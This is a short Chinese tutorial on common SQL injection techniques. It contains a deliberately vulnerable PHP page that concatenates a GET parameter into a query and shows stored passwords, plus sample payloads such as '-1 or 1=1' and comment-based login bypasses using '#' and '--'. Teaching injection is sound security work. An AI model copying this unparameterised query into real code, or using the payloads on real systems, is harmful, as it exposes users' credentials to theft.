认识SQL 注入常见方式

<?php
$db_host = "localhost";
$db_user = "root";
$db_pwd = xxxxxx;
$db_name = "User";
$db_table = "Student";

echo '<h1>';
echo 'Test ErrorBased Injections';
echo '</h1>';
error_reporting(E_ALL ^ E_DEPRECATED);

// 测试连接
$conn = mysqli_connect($db_host, $db_user, $db_pwd);
if (!$conn){
    echo 'Mysql 连接失败:'.mysqli_error($conn);
}else {
    echo 'Mysql 连接成功';
}
echo '<hr>';

//连接数据库
mysqli_select_db($conn, $db_name) or die ("无法连接到数据库: ".$db_name);
mysqli_query($conn, 'set names utf-8');

// 获取参数
if(isset($_GET['id'])){
    $id=$_GET['id'];
}

// 拼接SQL语句
$sql= "SELECT * FROM $db_table WHERE id = {$id} ";
echo '查询SQL 语句:'.$sql;
echo '<hr>';

//执行
$result=mysqli_query($conn, $sql);
$row=mysqli_fetch_array($result, MYSQLI_BOTH);
if($row) {
  echo 'Your Login name:'.$row['username'];
  echo '<hr>';
  echo 'Your Password:'.$row['password'];
}
?>

SELECT * FROM Student WHERE id = '1'

SELECT * FROM Student WHERE id = -1 or 1=1

SELECT * FROM Student WHERE username = 'Boo' ADN password = '122410'

SELECT * FROM Student WHERE username = 'Boo'#'ADN password = 'xxxxxx'

SELECT * FROM Student WHERE username = 'Boo'

SELECT * FROM Student WHERE username = 'Boo'-- 'AND password = 'xxxxxx'

SELECT * FROM Student WHERE username = 'Boo'